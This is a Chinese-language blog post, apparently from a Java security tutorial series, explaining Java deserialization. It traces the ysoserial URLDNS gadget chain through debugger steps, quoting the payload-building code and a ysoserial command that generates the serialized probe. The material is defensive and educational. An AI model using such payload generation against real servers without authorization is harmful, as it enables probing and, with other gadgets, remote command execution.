前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Java安全-反序列化-1-URLDNS

Java安全-反序列化-1-URLDNS

作者头像
Naraku
发布2022-04-14 15:24:33
1970
发布2022-04-14 15:24:33
举报
文章被收录于专栏:Naraku的专栏Naraku的专栏

反序列化

  • 序列化:将对象写入到IO流,ObjectOutputStream.writeObject()方法
  • 反序列化:从IO流恢复对象,ObjectOutputStream.readObject()方法

简单实现

Java在序列化对象时,将会调用这个对象的writeObject方法,参数类型是ObjectOutputStream,开发者可以将任何内容写入这个Stream中;反序列化时,也会调用这个对象的readObject方法,可以读取到前面写入的内容并进行处理

  • 定义一个Person类,继承java.io.Serializable接口,并重写writeObject/readObject方法
代码语言:javascript
复制
package com.naraku.sec.serialize;
import java.io.*;

public class Person implements Serializable {
    public String name;
    public int age;

    Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    private void writeObject(ObjectOutputStream oos) throws IOException {
        System.out.println("Call writeObject");
        oos.defaultWriteObject();
        oos.writeObject("This is a Person");
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        System.out.println("Call readObject");
        ois.defaultReadObject();
        String message = (String) ois.readObject();
        System.out.println(message);
    }
}
  • 对这个类进行实例化,然后对实例化对象进行序列化和反序列化
代码语言:javascript
复制
package com.naraku.sec.serialize;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class DemoSerialize {
    public static void main(String[] args) throws Exception {
        String serfile = "person.ser";
        Person person = new Person("Naraku", 20);

        // Serialize
        FileOutputStream fos = new FileOutputStream(serfile);
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(person);
        fos.close();

        // DeSerialize
        FileInputStream fis = new FileInputStream(serfile);
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object res = ois.readObject();
        System.out.println(res);
        ois.close();
    }
}

/* 输出结果
Call writeObject
Call readObject
This is a Person
com.naraku.sec.serialize.Person@7e6cbb7a
*/
  • 输出时可以看到,在序列化和反序列化时,分别触发了类中重写的writeObjectreadObject方法。另外在类中的readObject方法中也可以对写入的字符串进行操作,例如这里将其进行了打印。
代码语言:javascript
复制
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    System.out.println("Call readObject");
    ois.defaultReadObject();
    String message = (String) ois.readObject();
    System.out.println(message);
}
代码语言:javascript
复制
$ java -jar SerializationDumper-v1.13.jar -r person.ser

STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
  TC_OBJECT - 0x73
    TC_CLASSDESC - 0x72
      className
        Length - 31 - 0x00 1f
        Value - com.naraku.sec.serialize.Person - 0x636f6d2e6e6172616b752e7365632e73657269616c697a652e506572736f6e
      serialVersionUID - 0x8c 5a a6 89 b9 98 8d 24
      newHandle 0x00 7e 00 00
      classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE
      fieldCount - 2 - 0x00 02
      Fields
        0:
          Int - I - 0x49
          fieldName
            Length - 3 - 0x00 03
            Value - age - 0x616765
        1:
          Object - L - 0x4c
          fieldName
            Length - 4 - 0x00 04
            Value - name - 0x6e616d65
          className1
            TC_STRING - 0x74
              newHandle 0x00 7e 00 01
              Length - 18 - 0x00 12
              Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b
      classAnnotations
        TC_ENDBLOCKDATA - 0x78
      superClassDesc
        TC_NULL - 0x70
    newHandle 0x00 7e 00 02
    classdata
      com.naraku.sec.serialize.Person
        values
          age
            (int)20 - 0x00 00 00 14
          name
            (object)
              TC_STRING - 0x74
                newHandle 0x00 7e 00 03
                Length - 6 - 0x00 06
                Value - Naraku - 0x4e6172616b75
        objectAnnotation
          TC_STRING - 0x74
            newHandle 0x00 7e 00 04
            Length - 16 - 0x00 10
            Value - This is a Person - 0x54686973206973206120506572736f6e
          TC_ENDBLOCKDATA - 0x78

ObjectAnnotation

这里可以看到,objectAnnotation处存放了前面所写入的字符串This is a Person

  • 在自定义的writeObject方法中,调用传入的ObjectOutputStreamwriteObject方法写入的对象,会写入到objectAnnotation中。
  • 而自定义的readObject方法中,调用传入的ObjectInputStreamreadObject方法读入的对象,则是objectAnnotation中存储的对象。

这个特性就让Java的开发变得非常灵活。比如后面将会讲到的HashMap,其就是将Map中的所有键、值都存储在objectAnnotation中,而并不是某个具体属性里。

ysoserial

ysoserial是一款用于生成反序列化数据的工具。攻击者可以选择利用链和输入自定义命令,然后通过该工具生成对应的反序列化利用数据,然后将生成的数据发送给存在漏洞的目标,从而执行命令。

  • Git下载源码然后使用IDEA打开,此时会自动根据pom.xml文件的配置下载依赖
代码语言:txt
复制
- 如果依赖有问题,可以手工点击菜单里的`Files - Project Structure`配置`Libraries`在
代码语言:javascript
复制
<manifest>
    <mainClass>ysoserial.GeneratePayload</mainClass>
</manifest>
  • 打开src/main/java/ysoserial/GeneratePayload.java,点击main函数左侧的小箭头,选择Debug
  • 这个时候可以看到控制台只打印了一些使用说明,是因为没有添加参数

Gadget

利用链也叫“Gadget Chains”,通常称为Gadget,它连接的是从触发位置开始到执行命令的位置结束。

下载编译好的Jar包:ysoserial-master-SNAPSHOT.jar

代码语言:javascript
复制
$ java -jar ysoserial.jar URLDNS "<DNGLog地址>" > dnslog.ser

如上简单生成了一条URLDNS的POC,大部分的Gadget的参数就是一条命令。将生成好的POC发送给目标,如果目标存在反序列化漏洞,并满足这个Gadget对应的条件,那么该命令将会被执行。

URLDNS

URLDNS是ysoserial中⼀个利⽤链的名字,但准确来说,这个其实不能称作“利⽤链”。因为其参数不 是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次DNS请求。

虽然这个“利⽤链”实际上是不能“利⽤”的,但因为其如下的优点,⾮常适合检测反序列化漏洞时使⽤:

  • 使⽤Java内置的类构造,对第三⽅库没有依赖
  • 在⽬标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞

序列化

  • GeneratePayload.javamain函数处添加断点,然后修改配置添加参数,最后点击调试
代码语言:javascript
复制
# 配置参数
URLDNS "<DNGLog平台地址>"
  • 首先ysoserial接收到参数并分别赋值,接着进入Utils.getPayloadClass("URLDNS")方法,跟进
代码语言:javascript
复制
final String payloadType = args[0];  // URLDNS
final String command = args[1];      // <DNGLog平台地址>
  • getPayloadClass()通过反射获取到传入的className的Class对象,即URLDNS的Class类对象,并赋值给clazz后返回
代码语言:txt
复制
- 这里一开始的`Class.forName("URLDNS")`并没有找到对应的类对象,所以`clazz == null`
- 进入`if`语句后,通过拼接完整类名`ysoserial.payloads.URLDNS`才获取到类对象
  • 返回后,payloadClass == ysoserial.payloads.URLDNS,非空,进入下一步。
  • 使用前面获取到的URLDNS类对象创建实例,并调用该实例的getObject()方法
代码语言:javascript
复制
final ObjectPayload payload = payloadClass.newInstance();
final Object object = payload.getObject(command);
  • 跟进看看getObject()方法
代码语言:txt
复制
- 先创建了一个HashMap对象:`HashMap ht = new HashMap();`
- 然后创建一个URL对象,并将URL对象设置为键,对应的值为传入的参数`url`:`ht.put(u, url)`
- 最后通过反射设置URL对象的`hashCode`的值为`-1`:`Reflections.setFieldValue(u, "hashCode", -1)`
代码语言:javascript
复制
public Object getObject(final String url) throws Exception {
    //Avoid DNS resolution during payload creation
    //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
    URLStreamHandler handler = new SilentURLStreamHandler();

    HashMap ht = new HashMap(); // HashMap that will contain the URL
    URL u = new URL(null, url, handler); // URL to use as the Key
    ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

    Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

    return ht;
}
  • 将HashMap对象返回后,对其进行序列化
代码语言:javascript
复制
Serializer.serialize(object, out);
代码语言:javascript
复制
public static void serialize(final Object obj, final OutputStream out) throws IOException {
    final ObjectOutputStream objOut = new ObjectOutputStream(out);
    objOut.writeObject(obj);
}
  • 至此就是URLDNS的整个序列化流程

反序列化

前面的简单实现的例子中说了,在序列化时通过writeObject方法写入的数据,可以在反序列化时通过readObject方法对其进行操作。 因为Java开发者(包括Java内置库的开发者)经常会在readObject方法中写⾃⼰的逻辑,所以导致可以构造利⽤链。

在这个URLDNS利用链中,ysoserial调用了URLDNS类的getObject方法,最后返回了HashMap对象,而这个对象就是后来被序列化的对象。

在这段POC被反序列化时,也会调用HashMap对象的readObject方法,因此可以直接看HashMap类的readObject方法。

代码语言:javascript
复制
private void readObject(java.io.ObjectInputStream s)
  throws IOException, ClassNotFoundException {
  // Read in the threshold (ignored), loadfactor, and any hidden stuff
  s.defaultReadObject();
  reinitialize();
  if (loadFactor <= 0 || Float.isNaN(loadFactor))
    throw new InvalidObjectException("Illegal load factor: " +
                                     loadFactor);
  s.readInt();                // Read and ignore number of buckets
  int mappings = s.readInt(); // Read number of mappings (size)
  if (mappings < 0)
    throw new InvalidObjectException("Illegal mappings count: " +
                                     mappings);
  else if (mappings > 0) { // (if zero, use defaults)
    // Size the table using given load factor only if within
    // range of 0.25...4.0
    float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
    float fc = (float)mappings / lf + 1.0f;
    int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
               DEFAULT_INITIAL_CAPACITY :
               (fc >= MAXIMUM_CAPACITY) ?
               MAXIMUM_CAPACITY :
               tableSizeFor((int)fc));
    float ft = (float)cap * lf;
    threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                 (int)ft : Integer.MAX_VALUE);
    
    // Check Map.Entry[].class since it's the nearest public type to
    // what we're actually creating.
    SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
    @SuppressWarnings({"rawtypes","unchecked"})
    Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
    table = tab;
    
    // Read the keys and values, and put the mappings in the HashMap
    for (int i = 0; i < mappings; i++) {
      @SuppressWarnings("unchecked")
      K key = (K) s.readObject();
      @SuppressWarnings("unchecked")
      V value = (V) s.readObject();
      putVal(hash(key), key, value, false, false);
    }
  }
}
  • 在41行putVal(hash(key), key, value, false, false);处打下断点

在没有分析过的情况下,我为何会关注hash函数? 因为ysoserial的注释中很明确地说明了“During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.”,是hashCode的计算操作触发了DNS请求。

利用链分析

前面手动生成了一个POC并存放到dnslog.ser,这里利用其进行反序列化分析

  • 创建一个TestDNS.java文件
代码语言:javascript
复制
import java.io.*;

public class TestDNS {
  public static void main(String[] args) throws IOException, ClassNotFoundException {
    String serfile = "dnslog.ser";
    FileInputStream fis = new FileInputStream(serfile);
    ObjectInputStream ois = new ObjectInputStream(fis);
    ois.readObject();
    System.out.println(ois);
  }
}
  • 然后在TestDNS.java中开始调试,程序从TestDNSois.readObject()进入到HashMap的断点,接着调用了HashMap.putVal()方法,该方法中传入了一个参数hash(key),跟进一下
  • hash()方法调用了key.hashCode(),继续执行后面的handler.hashCode(),继续跟进,进入到URLStreamHandler
代码语言:txt
复制
- 序列化时的`getObject()`方法中使用反射将`URL`对象的`hashCode`设为`-1`在该方法中调用了
  • 此处InetAddress.getByName(host)的作⽤是根据主机名获取IP地址,即进行一次DNS查询
代码语言:txt
复制
- 执行完这一步后即可在DNSLog平台看到DNS请求记录
  • 从反序列化开始的readObject,到最后触发DNS请求的getByName,URLDNS的Gadget如下:
代码语言:javascript
复制
HashMap->readObject()
  HashMap->hash()
    URL->hashCode()
      URLStreamHandler->hashCode()
        URLStreamHandler->getHostAddress()
          InetAddress->getByName()

hashCode的问题

  • 为什么要通过反射将URL对象的hashCode的值为-1?原因已经在URLDNS的注释中:

During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

设置这个URL对象的hashCode为初始值-1,这样反序列化时将会重新计算其hashCode,才能触发到后⾯的DNS请求,否则不会调⽤URL->hashCode()

版权属于:Naraku

本文链接:https://cloud.tencent.com/developer/article/1981218

本站所有原创文章均采用 知识共享署名-非商业-禁止演绎4.0国际许可证 。如需转载请务必注明出处并保留原文链接,谢谢~

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022 年 04 月,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 反序列化
    • 简单实现
      • ObjectAnnotation
    • ysoserial
      • Gadget
    • URLDNS
      • 序列化
      • 反序列化
      • 利用链分析
      • hashCode的问题
相关产品与服务
文件存储
文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档